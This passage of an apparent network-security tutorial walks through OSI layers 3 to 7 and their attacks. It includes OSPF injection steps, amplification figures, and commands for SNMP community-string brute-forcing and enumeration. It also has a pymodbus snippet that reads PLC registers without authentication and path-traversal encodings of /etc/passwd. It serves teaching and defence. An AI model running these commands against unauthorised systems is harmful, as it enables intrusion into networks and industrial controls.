ICMP Types critical for security:
Type 0:  Echo Reply          ← Response to ping
Type 3:  Destination Unreachable
  Code 0: Net Unreachable    ← Routing problem
  Code 1: Host Unreachable   ← Host down or blocked
  Code 3: Port Unreachable   ← No service listening (UDP)
  Code 4: Fragmentation Needed ← MTU discovery
  Code 13: Communication Administratively Prohibited ← Firewall block
Type 5:  Redirect            ← Router telling host to use different route
Type 8:  Echo Request        ← Ping
Type 11: Time Exceeded       ← TTL expired (traceroute mechanism)
Type 13: Timestamp Request
Type 17: Address Mask Request

ICMP Redirect Attack:
ICMP Type 5 allows a router to tell a host "use a different gateway for this destination." An attacker can send spoofed ICMP Redirect messages to reroute traffic through the attacker's machine.

# Observe ICMP traffic
sudo tcpdump -i eth0 icmp -v

# Send ICMP ping with specific options
ping -c 4 192.168.1.1
hping3 -1 -c 4 192.168.1.1         # ICMP ping using hping3

# Test firewall ICMP filtering
ping -c 1 target                   # ICMP Echo → response tells if host is up
hping3 -S -p 80 target             # TCP SYN to port 80 → use when ICMP is blocked

# ICMP tunnel — exfiltrate data in ICMP payloads
# icmptunnel, ptunnel — tools that tunnel IP traffic inside ICMP
# Commonly used to bypass captive portals and restrictive firewalls
# Detection: ICMP packets with large or unusual payloads
# Normal ping payload: 32-64 bytes
# ICMP tunnel payload: up to 1400 bytes, consistent size, high frequency

5.4 Routing and Routing Protocols

Static routing: Administrator manually configures routes. Stable, predictable, but doesn't adapt to topology changes. Common in small networks and OT environments where predictability matters.

Dynamic routing protocols:

Protocol	Layer	Type	Used In
RIP v2	L7 over UDP	Distance vector	Legacy, small networks
OSPF	L3 (IP proto 89)	Link state	Enterprise, campus
EIGRP	L3 (IP proto 88)	Hybrid	Cisco networks
BGP	L7 over TCP 179	Path vector	Internet, ISPs
IS-IS	L2 (directly)	Link state	ISP backbone, large enterprise

Routing protocol attacks:

OSPF Route Injection:
OSPF authenticates with MD5 or plain text passwords. In many deployments, authentication is disabled entirely. An attacker who can send OSPF packets (by being on the same L2 segment as a router, or by compromising a router) can inject false routes.

OSPF attack scenario:
1. Attacker joins OSPF domain (sends Hello packets with Area ID)
2. If authentication disabled or key known → attacker becomes OSPF neighbour
3. Attacker advertises route with low cost to a critical subnet
4. All routers update their routing tables to send traffic through attacker
5. MITM or traffic black-hole achieved at routing level

Tools: Scapy (craft OSPF packets), FRRouting (full routing suite)
Detection: Monitor for new OSPF neighbours, unexpected route changes

BGP Hijacking (covered in 1.1): Advertising false routes for IP ranges you don't own. RPKI (Resource Public Key Infrastructure) provides cryptographic route origin validation.

5.5 IPSec — Layer 3 Security

IPSec is the native security protocol for Layer 3. It provides:

Authentication Header (AH, protocol 51): Integrity and authentication, no encryption
Encapsulating Security Payload (ESP, protocol 50): Encryption + integrity + authentication
Internet Key Exchange (IKE, UDP 500): Key negotiation protocol

Two modes:

Transport mode: Encrypts only the payload, original IP header visible — used for end-to-end between hosts
Tunnel mode: Encrypts entire IP packet, adds new IP header — used for VPN gateways

# Check IPSec SA (Security Association) status
sudo ip xfrm state list             # Linux (xfrm = transform framework)
sudo ip xfrm policy list            # IPSec policies

# Wireshark filters for IPSec:
# esp  → show ESP traffic (encrypted, but you can see headers)
# isakmp → show IKE key exchange
# If you have the keys, Wireshark can decrypt ESP traffic

Key Insight: Layer 3 is where routing decisions happen, and routing decisions control which paths traffic takes. Controlling routing at L3 gives an attacker traffic interception capabilities at internet scale (BGP hijacking) or network scale (OSPF injection). Most networks deploy strong perimeter security at L3 (firewalls, ACLs) but have minimal protection for the routing protocols themselves. In OT networks, routers between zones should use authenticated routing protocols — but rarely do.

6. Layer 4 — Transport

6.1 What Layer 4 Does

Layer 4 is where application-to-application communication is implemented. While Layer 3 gets a packet between two machines, Layer 4 gets data between two specific processes running on those machines. It introduces:

Port numbers: Identify which application (process) should receive the data
Multiplexing: Multiple applications can use the network simultaneously on the same machine
Connection management (TCP): Establishing, maintaining, and terminating connections
Reliability (TCP): Acknowledgements, retransmission, flow control, congestion control
Connectionless delivery (UDP): Minimal overhead, no guarantees

6.2 Port Numbers

Ports are 16-bit numbers (0-65535) that identify specific applications or services.

Port ranges:
  0-1023:     Well-Known Ports (require root/admin to bind)
  1024-49151: Registered Ports (IANA registered applications)
  49152-65535: Dynamic/Ephemeral Ports (used by clients for outgoing connections)

Critical well-known ports — know these cold:
  20/TCP  → FTP Data
  21/TCP  → FTP Control
  22/TCP  → SSH
  23/TCP  → Telnet (INSECURE)
  25/TCP  → SMTP (mail sending)
  53/TCP+UDP → DNS
  67/UDP  → DHCP Server
  68/UDP  → DHCP Client
  69/UDP  → TFTP (trivial FTP — no auth, often misconfigured)
  80/TCP  → HTTP
  88/TCP  → Kerberos
  110/TCP → POP3 (email retrieval)
  111/TCP+UDP → RPC (Remote Procedure Call)
  119/TCP → NNTP (Usenet)
  123/UDP → NTP (time synchronisation)
  135/TCP → Microsoft RPC/DCOM
  137/UDP → NetBIOS Name Service
  138/UDP → NetBIOS Datagram Service
  139/TCP → NetBIOS Session Service
  143/TCP → IMAP (email retrieval)
  161/UDP → SNMP (network management)
  162/UDP → SNMP Trap
  389/TCP+UDP → LDAP
  443/TCP → HTTPS
  445/TCP → SMB (Windows file sharing, direct over TCP)
  465/TCP → SMTPS (SMTP over TLS)
  500/UDP → IKE (IPSec key exchange)
  502/TCP → Modbus TCP (industrial — no auth!)
  514/UDP → Syslog
  587/TCP → SMTP Submission
  593/TCP → RPC over HTTP
  636/TCP → LDAPS (LDAP over TLS)
  873/TCP → rsync
  993/TCP → IMAPS
  995/TCP → POP3S
  1080/TCP → SOCKS proxy
  1194/UDP → OpenVPN
  1433/TCP → Microsoft SQL Server
  1521/TCP → Oracle Database
  1723/TCP → PPTP VPN
  2049/TCP+UDP → NFS
  2375/TCP → Docker daemon (INSECURE — no TLS)
  2376/TCP → Docker daemon (TLS)
  2483/TCP → Oracle DB with TLS
  3306/TCP → MySQL/MariaDB
  3389/TCP → RDP (Remote Desktop)
  3478/UDP → STUN (WebRTC)
  4444/TCP → Metasploit default listener
  4786/TCP → Cisco Smart Install (extremely dangerous, weaponised)
  5000/TCP → Docker Registry, Flask dev server
  5432/TCP → PostgreSQL
  5900/TCP → VNC
  5985/TCP → WinRM (HTTP)
  5986/TCP → WinRM (HTTPS)
  6379/TCP → Redis (often exposed with no auth!)
  6443/TCP → Kubernetes API server
  8080/TCP → HTTP alternate (common for web apps, Burp proxy default)
  8443/TCP → HTTPS alternate
  9200/TCP → Elasticsearch (often exposed with no auth!)
  27017/TCP → MongoDB (often exposed with no auth!)
  47808/UDP → BACnet (building automation — no auth)
  44818/TCP → EtherNet/IP (industrial — CIP protocol)
  102/TCP → S7comm (Siemens PLC — Stuxnet used this)
  20000/TCP → DNP3 over TCP (power grid SCADA)

6.3 TCP — Transmission Control Protocol

TCP provides a reliable, ordered, error-checked byte stream between two applications. It achieves this through:

The Three-Way Handshake — Connection Establishment:

Client                          Server
  │                               │
  │──── SYN (seq=x) ────────────→ │  Client initiates
  │                               │  Server: "I see your request"
  │ ←── SYN-ACK (seq=y, ack=x+1) │  Server acknowledges + sends own seq
  │                               │
  │──── ACK (ack=y+1) ──────────→ │  Client acknowledges server's seq
  │                               │
  │         [Connected]           │
  │                               │
  │──── DATA ───────────────────→ │
  │ ←── ACK ──────────────────── │

SYN: Synchronise — "I want to establish a connection, my starting sequence number is x"
ACK: Acknowledge — "I received your data up to sequence number n"
seq: Sequence number — tracks position of data in the byte stream
ack: Acknowledgement number — "I've received everything up to here, send me this next"

Why sequence numbers matter for security:
Early TCP implementations used predictable sequence numbers. An attacker could predict the server's sequence number, forge a TCP ACK, and inject data into a connection without completing the handshake — TCP session hijacking. Modern OSes use cryptographically random ISNs (Initial Sequence Numbers) per RFC 6528.

TCP Flags — the complete set:

Flag	Hex	Meaning	Security Relevance
SYN	0x02	Synchronise — initiate connection	SYN flood, port scanning
ACK	0x10	Acknowledge received data	ACK scan bypasses stateless firewalls
FIN	0x01	Finish — graceful close	FIN scan
RST	0x04	Reset — immediate close	RST injection to terminate connections
PSH	0x08	Push — deliver immediately	Not security-relevant
URG	0x20	Urgent — urgent pointer valid	Used in some evasion techniques
ECE	0x40	ECN-Echo — congestion signalling	Not typically security-relevant
CWR	0x80	Congestion Window Reduced	Not typically security-relevant

Four-Way Termination — Connection Teardown:

Client                          Server
  │                               │
  │──── FIN (seq=x) ────────────→ │  Client done sending
  │ ←── ACK (ack=x+1) ─────────  │  Server acknowledges
  │                               │  [Server may still send data]
  │ ←── FIN (seq=y) ───────────── │  Server done sending
  │──── ACK (ack=y+1) ──────────→ │  Client acknowledges
  │                               │
  │         [Closed]              │

The TIME_WAIT state: After sending the final ACK, the client waits 2×MSL (Maximum Segment Lifetime, typically 60-240 seconds) before fully closing. This ensures the final ACK was received. TIME_WAIT exhaustion is a DoS vector — flood connections to force TIME_WAIT states until the system runs out of ephemeral ports.

TCP SYN Flood:

SYN flood attack:
1. Attacker sends large volume of SYN packets (often with spoofed source IPs)
2. Server allocates resources for each half-open connection (SYN_RECEIVED state)
3. Server sends SYN-ACK to spoofed addresses (no response comes back)
4. Server's connection table fills up
5. Legitimate connection requests are rejected — DoS

Mitigation: SYN cookies
  Instead of allocating state on SYN, server encodes connection parameters
  into the SYN-ACK sequence number cryptographically
  State is only allocated when valid ACK comes back
  No state for half-open connections → SYN flood ineffective

Check SYN cookie status on Linux:
cat /proc/sys/net/ipv4/tcp_syncookies
# 1 = enabled (default on modern kernels when under attack)
# 0 = disabled

6.4 UDP — User Datagram Protocol

UDP provides a minimal transport with no connection establishment, no acknowledgements, no flow control, and no ordering guarantees.

UDP Header (8 bytes — much simpler than TCP's 20 bytes):
┌─────────────────┬─────────────────┐
│  Source Port    │  Dest Port      │  2 + 2 = 4 bytes
├─────────────────┼─────────────────┤
│    Length       │    Checksum     │  2 + 2 = 4 bytes
└─────────────────┴─────────────────┘
│         Data                      │
└───────────────────────────────────┘

UDP is used when:

Speed matters more than reliability: DNS (retry is easy), VoIP, video streaming
Application-level reliability: The application handles retransmission if needed
Broadcast/Multicast: TCP cannot broadcast; UDP can
Simple request/response: DHCP, DNS, SNMP — one packet out, one packet back

UDP-based amplification DDoS:
UDP's connectionless nature enables amplification attacks. The attacker sends a small UDP request with a spoofed source IP (victim's IP) to a server with a large response. The server sends a large response to the victim.

Amplification factors:
  DNS:     28-54x (small query, large response with DNSSEC)
  NTP:     556x (monlist command — CVE-2013-5211)
  SSDP:    30x
  Memcached: 51,000x (CVE-2018-1000115 — this was the 1.7 Tbps attack)
  CLDAP:   70x

Attack formula:
  1. Attacker sends 100 Mbps of spoofed UDP queries
  2. With 50x amplification → victim receives 5 Gbps
  3. With 1,000 reflectors → 5 Tbps saturates any link

Mitigation:
  BCP38: ISPs filter spoofed source IPs (prevents amplification source)
  Rate limiting: Limit DNS response rate per source IP
  Disable unused services: NTP monlist disabled by default since ntpd 4.2.7

QUIC — The Modern Transport:
QUIC (Quick UDP Internet Connections) is a L4 protocol built on UDP, developed by Google, standardised in RFC 9000 (2021). It powers HTTP/3.

QUIC advantages:
  - Zero RTT connection establishment (vs TCP's 1 RTT + TLS's 1-2 RTT)
  - Built-in encryption (TLS 1.3 integrated — not optional)
  - Independent streams (one stream's loss doesn't block others)
  - Connection migration (IP address can change without dropping connection)
  - Used by: Google services, Cloudflare, Meta, ~25% of internet traffic (2024)

Security implications:
  - QUIC traffic is UDP, which many firewalls/IDS process less thoroughly than TCP
  - Always encrypted → prevents inspection without interception
  - Connection migration → complicates network forensics (connection ID instead of 5-tuple)
  - Fallback to TCP+TLS if UDP blocked → attackers cannot force QUIC only

Key Insight: The transport layer is where most network security controls operate — firewalls filter by port number, IDS/IPS inspect transport-layer behaviour, connection tracking is at Layer 4. Understanding TCP state (SYN, SYN-ACK, established, TIME_WAIT) and UDP's statelessness is essential for understanding how firewalls work, how to evade them, and how to build detection rules. Every port scanner, every firewall rule, every network IDS signature starts at Layer 4.

7. Layer 5 — Session

7.1 What Layer 5 Does

Layer 5 manages sessions — logical dialogues between applications. It provides:

Session establishment, maintenance, and termination
Session synchronisation (checkpoints for recovery)
Session multiplexing (multiple sessions over one transport connection)

In practice, the Session layer is the most abstract and least distinctly implemented of the seven layers. In the TCP/IP world, its functions are largely absorbed by the Application layer and the Transport layer. But conceptually it remains important, and several protocols and mechanisms specifically implement Session layer functionality.

7.2 Session Layer Protocols

NetBIOS (Network Basic Input/Output System):
NetBIOS provides session services for Windows networking — name registration, name resolution, and session establishment. Runs over UDP 137-138 (NetBIOS Name Service and Datagram Service) and TCP 139 (NetBIOS Session Service).

NetBIOS is legacy technology but remains pervasive in enterprise environments for backward compatibility. It is the basis of several critical attack techniques:

# NetBIOS name resolution (legacy Windows name resolution)
nmblookup -A 192.168.1.100          # NetBIOS names for IP address
nmblookup "WORKGROUP"               # Find all machines in workgroup

# NetBIOS scanning — enumerate Windows machines
nbtscan 192.168.1.0/24

# NetBIOS names have specific suffixes indicating service:
# <00> = Workstation service
# <20> = File Server service
# <1D> = Master Browser
# <1B> = Domain Master Browser

RPC — Remote Procedure Call:
RPC allows a program to call functions on a remote system as if they were local. Microsoft's implementation (MSRPC) is the foundation of:

Active Directory (Kerberos, LDAP, replication use RPC)
Windows management (WMI)
SMB
DCOM

RPC uses a portmapper (TCP/UDP 111 on Unix, TCP 135 on Windows)
to tell clients which port a specific RPC service is listening on.
This is why Windows systems have many high ports open — RPC services
bind to random high ports and register with the portmapper.

RPC attacks:

MS03-026 (2003): Buffer overflow in Windows RPC service — used by Blaster and Welchia worms to infect millions of machines
MS17-010 (2017): EternalBlue — exploited SMBv1 over RPC, used by WannaCry and NotPetya
CVE-2022-26809: Windows RPC RCE vulnerability, CVSS 9.8, required no authentication

7.3 TLS Handshake — Session Layer in Practice

TLS (Transport Layer Security) is commonly described as a Presentation layer protocol (for its encryption), but its handshake and session establishment functions are clearly Session layer. The TLS handshake establishes:

Which cipher suite to use
Server (and optionally client) authentication via certificates
Session key derivation

TLS 1.3 Handshake (simplified):
Client                              Server
  │                                   │
  │── ClientHello ─────────────────→  │  Supported ciphers, TLS version, random
  │   + key_share (Diffie-Hellman)    │  Client's DH public key
  │                                   │
  │ ←─ ServerHello ─────────────────  │  Selected cipher, server's DH public key
  │ ←─ {Certificate} ───────────────  │  Server's certificate (encrypted in TLS 1.3)
  │ ←─ {CertificateVerify} ─────────  │  Proof server owns the private key
  │ ←─ {Finished} ──────────────────  │
  │                                   │
  │── {Finished} ───────────────────→ │
  │                                   │
  │═══════════[Encrypted Data]════════│

{} = already encrypted using derived session key
Key: Both sides compute identical session key from DH exchange
     (Perfect Forward Secrecy — key not derived from certificate private key)

TLS attack surface:

Downgrade attacks: POODLE (CVE-2014-3566) forced SSLv3; DROWN (CVE-2016-0800) exploited SSLv2
BEAST (CVE-2011-3389): Exploited CBC mode in TLS 1.0
Heartbleed (CVE-2014-0160): OpenSSL heap buffer over-read in TLS heartbeat extension — leaked server memory including private keys, session tokens, passwords. One of the most impactful vulnerabilities ever discovered.
Certificate validation failures: Many implementations historically failed to properly validate certificates (wrong hostname, expired, self-signed). HTTPS everywhere means certificate validation is now enforced in browsers.

# Check TLS configuration of a server
openssl s_client -connect target:443 -tls1_2    # Force TLS 1.2
openssl s_client -connect target:443            # Negotiate highest supported

# SSLScan — comprehensive TLS testing
sslscan target:443

# TestSSL.sh — detailed TLS security testing
testssl.sh target:443
# Shows: supported versions, cipher suites, vulnerabilities (BEAST, POODLE, etc.)

# Check certificate details
openssl s_client -connect target:443 </dev/null 2>/dev/null | \
    openssl x509 -noout -text | grep -E "Subject:|Issuer:|Not After"

# Enumerate TLS certificate information (useful for OSINT)
# Certificates reveal: organisation name, internal hostnames (SANs),
# email addresses, sometimes infrastructure details

Key Insight: The Session layer is where authentication and encryption sessions are established. Attacking TLS (the most important session protocol in existence) is a rich field — every major TLS vulnerability has had massive real-world impact because TLS is on every HTTPS connection. Understanding how TLS establishes sessions is prerequisite to understanding SSL stripping, certificate pinning bypass, TLS interception proxies, and the entire HTTPS ecosystem.

8. Layer 6 — Presentation

8.1 What Layer 6 Does

Layer 6 is responsible for data format translation. It ensures that data from the application layer of one system can be read by the application layer of another system, regardless of internal representation differences. It handles:

Encoding/decoding: Converting data to a transmittable format and back
Encryption/decryption: Transforming data to protect confidentiality
Compression/decompression: Reducing data size for transmission

Like Layer 5, Layer 6 is not implemented as a distinct layer in TCP/IP. Its functions are performed by specific protocols (TLS for encryption, HTTP Content-Encoding for compression) or by the application itself.

8.2 Data Encoding Formats

ASCII and Unicode:
Every text character transmitted on a network is encoded as a numeric value. ASCII (7-bit, 128 characters) is the historical standard. Unicode (UTF-8, UTF-16, UTF-32) extends this to cover all human writing systems.

Security implication of encoding:
Different systems interpret the same byte sequences differently based on encoding. This has been the source of many vulnerabilities:

UTF-8 multi-byte sequences and security:
  Normal: /etc/passwd  = 0x2F 0x65 0x74 0x63 ...
  Encoded: /%65%74%63/passwd  (URL encoding of 'e', 't', 'c')
           = /etc/passwd after decoding

  Some web application firewalls decode only once.
  Double encoding: %%36%35 → %65 → 'e' after two decode steps
  Some WAFs only decode once, missing the double-encoded attack

Unicode normalisation attacks:
  Some characters look visually identical but have different code points
  U+002F = "/" (normal slash)
  U+FF0F = "／" (fullwidth solidus) — visually identical
  A system that normalises before validation may accept ／etc/passwd
  and then access /etc/passwd after normalisation

Base64:
Base64 encodes binary data as printable ASCII characters. It is NOT encryption — it is encoding. Base64 is used to:

Transmit binary data in text-based protocols (email attachments in MIME)
Obfuscate (not secure) data from casual inspection
Encode credentials in HTTP Basic Authentication
Encode PowerShell commands to bypass simple keyword detection

# Encode
echo "admin:password" | base64      # YWRtaW46cGFzc3dvcmQ=

# Decode
echo "YWRtaW46cGFzc3dvcmQ=" | base64 -d   # admin:password

# HTTP Basic Auth header:
# Authorization: Basic YWRtaW46cGFzc3dvcmQ=
# This is NOT encrypted or secure — trivially decoded
# Only safe over HTTPS

# Detecting base64 in logs (common in PowerShell attacks)
grep -P '[A-Za-z0-9+/]{50,}={0,2}' /var/log/auth.log
# PowerShell -EncodedCommand is always base64
# Defenders must decode and inspect these

8.3 Compression and Security

CRIME and BREACH — Compression Oracle Attacks:
If data is compressed before being encrypted, and an attacker can inject data into the stream and observe the encrypted output length, they can infer information about the plaintext. Compression reduces repetition — if an attacker's injected string reduces the compressed size, it means the string appears in the plaintext.

CRIME (CVE-2012-4929): Exploited TLS-level compression (DEFLATE) to recover HTTPS cookies. Fixed by disabling TLS-level compression.
BREACH (2013): Exploited HTTP-level compression (gzip). Not a CVE but a design weakness. HTTPS body compression can leak secrets even when TLS is uncompromised.

BREACH attack in brief:
1. Attacker can make victim's browser send authenticated HTTP requests
   (through JavaScript injection on another page)
2. HTTP response is compressed+encrypted
3. Attacker injects guesses into the URL: ?csrf_guess=a, ?csrf_guess=b, etc.
4. Measures encrypted response length
5. When guess matches part of the real CSRF token, compression is more effective
   and encrypted response is shorter
6. Character by character, attacker recovers the full CSRF token

This works because gzip compresses repeated strings efficiently.
If the secret appears twice (real + attacker's guess), the compressed size drops.

8.4 Encryption at Layer 6

While IPSec operates at Layer 3, TLS at Layers 5-6, and application-level encryption at Layer 7, the Presentation layer is conceptually where encryption transforms plaintext to ciphertext and back.

For security professionals, the critical understanding is:

Encryption placement matters enormously:

End-to-end (application layer encryption, e.g., PGP email):
  [User A] → [encrypted] → [Server] → [encrypted] → [User B]
  Server sees: only encrypted data. Cannot read content.

TLS (transport/presentation encryption, e.g., HTTPS):
  [User A] → [encrypted] → [Server] → [plaintext] → [User B's server]
  The TLS-terminating server sees plaintext.
  CDN, load balancers, inspection proxies: all see plaintext

Network layer encryption (IPSec):
  [Host A] → [encrypted] → [VPN Gateway] → [plaintext] → [internal network]
  Everything beyond the VPN gateway is plaintext
  Lateral movement after VPN access is unencrypted unless additional layers exist

This hierarchy is why Zero Trust architectures use end-to-end or application-level encryption even inside the "trusted" network — because TLS termination points and VPN gateways represent points where traffic is cleartext.

Key Insight: Layer 6 is where data format vulnerabilities live — encoding attacks, compression oracles, serialisation vulnerabilities. It is also where encryption is logically applied, and understanding which layer terminates encryption determines what any given system can inspect. A CDN that terminates TLS sees your plaintext. An IPSec VPN gateway sees plaintext past the gateway. This shapes both attack and defence architecture.

9. Layer 7 — Application

9.1 What Layer 7 Does

Layer 7 is the layer closest to the user. Application layer protocols define the rules for specific types of communication — how web browsers request pages, how email is delivered, how domain names are resolved, how files are transferred, and how industrial controllers receive commands.

Layer 7 is where the vast majority of security vulnerabilities exist. SQL injection, XSS, CSRF, command injection, authentication bypasses — these are all Layer 7 vulnerabilities. The application's logic, not the network infrastructure, is the attack surface.

9.2 Critical Application Layer Protocols

HTTP/HTTPS:

HTTP Request:
  GET /index.html HTTP/1.1          ← Method, URI, version
  Host: example.com                 ← Target host
  User-Agent: Mozilla/5.0...        ← Client identification
  Accept: text/html                 ← Content types accepted
  Cookie: session=abc123            ← Session token ← ATTACK TARGET
  Authorization: Bearer <JWT>       ← Auth token ← ATTACK TARGET
  Content-Length: 0
  [blank line]

HTTP Response:
  HTTP/1.1 200 OK
  Content-Type: text/html
  Set-Cookie: session=xyz789; HttpOnly; Secure; SameSite=Strict
  Strict-Transport-Security: max-age=31536000; includeSubDomains
  Content-Security-Policy: default-src 'self'
  X-Frame-Options: DENY
  [blank line]
  [body]

Security headers in responses:
  HSTS: Forces HTTPS for specified duration
  CSP: Controls what resources can load (prevents XSS impact)
  X-Frame-Options: Prevents clickjacking
  X-Content-Type-Options: nosniff: prevents MIME sniffing

DNS:

DNS Transaction:
  Query:   A record for www.example.com?
  Response: www.example.com → 93.184.216.34

DNS record types and security:
  A:    IPv4 address mapping       ← Forward lookup
  AAAA: IPv6 address mapping
  CNAME: Alias to another name     ← Dangling CNAME = subdomain takeover vulnerability
  MX:   Mail server                ← Target for email spoofing if SPF/DKIM/DMARC missing
  TXT:  Arbitrary text             ← SPF, DKIM, DMARC verification records live here
  NS:   Authoritative nameservers  ← NS takeover = complete domain hijacking
  PTR:  Reverse lookup (IP → name)
  SOA:  Zone authority information
  SRV:  Service location           ← Used by Active Directory (Kerberos, LDAP SRV records)

SPF (Sender Policy Framework):
  TXT record listing which IPs may send email for a domain
  "v=spf1 ip4:203.0.113.0/24 include:sendgrid.net -all"
  Without SPF: anyone can send email claiming to be from your domain

DKIM (DomainKeys Identified Mail):
  Email digitally signed with private key
  Public key in DNS TXT record
  Without DKIM: email content can be forged/modified in transit

DMARC (Domain-based Message Authentication):
  Policy for handling emails that fail SPF/DKIM
  "v=DMARC1; p=reject; rua=mailto:dmarc@example.com"
  p=reject: reject emails failing authentication
  Without DMARC with reject: phishing emails appear to come from your domain

SMB — Server Message Block:
SMB is the Windows file and printer sharing protocol. It runs on TCP 445 (direct) and TCP 139 (over NetBIOS). SMB is the most attacked protocol in enterprise environments.

SMB versions and security:
  SMBv1: No encryption, no integrity, multiple critical vulnerabilities
         EternalBlue (MS17-010) exploits SMBv1 — WannaCry, NotPetya
         Should be DISABLED everywhere. Microsoft disabled it by default in Windows 10/Server 2019

  SMBv2: Introduced in Vista/2008. Improved performance and security.
  SMBv3: Introduced in Windows 8/2012. Full encryption support.

SMB signing:
  Authentication and integrity protection for SMB sessions
  Prevents NTLM relay attacks (where captured NTLM authentication is relayed to another server)
  Required on domain controllers but NOT enforced client-side by default
  This is why NTLM relay attacks (Responder + ntlmrelayx) work so effectively

Check SMB signing:
nmap --script smb2-security-mode -p 445 target_ip
# "message signing enabled but not required" → vulnerable to relay attack
# "message signing enabled and required" → relay attack prevented

SNMP — Simple Network Management Protocol:
SNMP manages and monitors network devices. Runs on UDP 161 (queries) and UDP 162 (traps).

SNMP versions and security (critical for OT environments):
  SNMPv1: Community strings (plaintext passwords), no encryption
           Default communities: "public" (read), "private" (read/write)

  SNMPv2c: Minor improvements, still plaintext community strings

  SNMPv3: Authentication (MD5/SHA) + Encryption (DES/AES)
           Only secure version — should be the only one deployed

SNMP attack scenarios:
  Reconnaissance: Read MIB (Management Information Base) to get:
    - Device model, firmware version (for targeted exploitation)
    - Interface configurations, routing tables, ARP tables
    - System uptime, CPU/memory utilisation
    - Installed software list (Windows SNMP)

  Exploitation: Write access with default "private" community:
    - Change device configuration
    - Disable interfaces
    - Redirect routing
    - On managed switches: change VLAN assignments, disable ports

# SNMP enumeration
snmpwalk -v2c -c public 192.168.1.1                    # Walk entire MIB
snmpwalk -v2c -c public 192.168.1.1 1.3.6.1.2.1.1     # System info
snmpwalk -v2c -c public 192.168.1.1 1.3.6.1.2.1.4.20  # IP address table
snmp-check -c public -v 2c 192.168.1.1                 # Comprehensive enumeration

# SNMP brute force community string
onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt 192.168.1.1

OT/ICS Application Layer Protocols:

These deserve extended treatment because they are unique to industrial environments and have almost no security built in.

Modbus TCP (TCP 502):
  Designed in 1979 for RS-232 serial communication
  No authentication, no encryption, no authorisation
  Anyone on the network can:
    - Read any coil/register (FC01, FC02, FC03, FC04)
    - Write any coil/register (FC05, FC06, FC15, FC16)
    - Execute any function code
    - Cause denial of service by flooding

  Function Codes:
    0x01: Read Coil Status
    0x02: Read Input Status
    0x03: Read Holding Registers      ← Most common
    0x04: Read Input Registers
    0x05: Force Single Coil           ← Write output — direct physical control
    0x06: Preset Single Register
    0x0F: Force Multiple Coils
    0x10: Preset Multiple Registers   ← Set parameters — change setpoints
    0x11: Report Slave ID             ← Device fingerprinting
    0x17: Read/Write Multiple Registers

  Attack example — read all registers:
    import pymodbus.client as ModbusClient
    client = ModbusClient.ModbusTcpClient('192.168.1.100', port=502)
    client.connect()
    result = client.read_holding_registers(0, 100, slave=1)  # Read 100 registers
    print(result.registers)
    # No authentication required

DNP3 (TCP 20000, UDP 20000):
  Used in electric power, water, oil/gas SCADA
  Supports authentication (SA) in DNP3 Secure Authentication v5 (SAv5)
  but baseline DNP3 has no security

  Attack: spoofed DNP3 requests can control field devices
  Stuxnet used a variant of this concept

S7comm (TCP 102 — Siemens S7 PLCs):
  Siemens-proprietary PLC communication protocol
  Used by Stuxnet to communicate with Siemens S7-315 and S7-417 PLCs
  No authentication in original versions
  S7CommPlus (S7-1200/1500) has encryption but has been broken

  Tools: s7-200 (Python library), Snap7 library

EtherNet/IP / CIP (TCP 44818, UDP 2222):
  Used by Allen-Bradley/Rockwell Automation PLCs
  Common Industrial Protocol (CIP) over Ethernet
  No authentication by default

BACnet (UDP 47808):
  Building Automation and Control protocol
  Used for HVAC, lighting, access control in buildings
  No authentication in baseline protocol
  Many BACnet devices exposed on the internet via Shodan

Key Insight: Layer 7 is simultaneously the most critical and most vulnerable layer. All user-visible functionality — and virtually all business logic — is implemented here. Application-layer attacks (SQLi, XSS, command injection) cause the most breaches. Industrial protocols at Layer 7 were designed for reliability in isolated networks, not for security in connected ones. The absence of authentication in Modbus, DNP3, and BACnet is not an oversight — it is a design decision from an era when network isolation was assumed. That assumption is now fatally broken.

10. Encapsulation and Decapsulation — The Full Picture

10.1 The Journey of a Packet

Understanding the complete journey of data from application to physical medium and back is essential for packet analysis, attack design, and forensics. Here is a complete example: your browser requesting http://192.168.1.100/.

APPLICATION (Layer 7):
  Browser constructs HTTP request:
  "GET / HTTP/1.1\r\nHost: 192.168.1.100\r\nUser-Agent: ...\r\n\r\n"

SESSION/PRESENTATION (Layers 5-6):
  If HTTPS: TLS encrypts the HTTP data (assume plain HTTP for this example)

TRANSPORT (Layer 4):
  TCP wraps HTTP data in a segment:
  [Src Port: 54321][Dst Port: 80][Seq: 1000][Ack: 0][Flags: ACK+PSH]
  [HTTP Data: "GET / HTTP/1.1..."]
  ↑ Note: Three-way handshake already completed before this data segment

NETWORK (Layer 3):
  IP wraps TCP segment in a packet:
  [Version: 4][TTL: 64][Protocol: 6 (TCP)]
  [Src IP: 192.168.1.5][Dst IP: 192.168.1.100]
  [TCP Segment]

DATA LINK (Layer 2):
  ARP resolves 192.168.1.100 to MAC 11:22:33:44:55:66 (already in cache)
  Ethernet wraps IP packet in a frame:
  [Dst MAC: 11:22:33:44:55:66][Src MAC: AA:BB:CC:DD:EE:FF]
  [EtherType: 0x0800 (IPv4)]
  [IP Packet]
  [FCS: CRC32]

PHYSICAL (Layer 1):
  Ethernet frame converted to electrical signals on the wire
  10101010... transmitted as voltage levels on Cat6 cable

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

At the RECEIVING END — Decapsulation (reverse order):

PHYSICAL (Layer 1):
  Electrical signals → bits → Ethernet frame

DATA LINK (Layer 2):
  Frame received: is Dst MAC mine? YES (or broadcast)
  FCS valid? YES → pass up
  Strip Ethernet header and trailer → expose IP packet

NETWORK (Layer 3):
  IP packet: is Dst IP mine? YES (192.168.1.100)
  TTL valid? YES → decrement (now 63)
  Protocol: 6 (TCP) → pass TCP segment up to TCP handler

TRANSPORT (Layer 4):
  TCP segment: Dst Port 80 → is there an application listening on port 80? YES
  Check sequence numbers, acknowledge
  Pass HTTP data to web server application

SESSION/PRESENTATION (Layers 5-6):
  Not applicable for plain HTTP

APPLICATION (Layer 7):
  Web server receives: "GET / HTTP/1.1\r\nHost: 192.168.1.100..."
  Process request, generate response

10.2 Where Security Tools Operate

Wireshark: Operates at ALL layers — can decode from L1 statistics up to L7 application data
           Use: Full packet analysis, protocol debugging, forensics

tcpdump: Primarily L2-L4 — captures frames/packets/segments with filters
         Use: Quick capture, scripting, production environments

Nmap: Primarily L3-L4 — sends crafted IP packets and TCP/UDP segments
      OS detection uses L3 (TTL, IP options) and L4 (TCP window size, options)
      Service detection uses L7 (banner grabbing, protocol responses)
      Use: Port scanning, service enumeration, OS fingerprinting

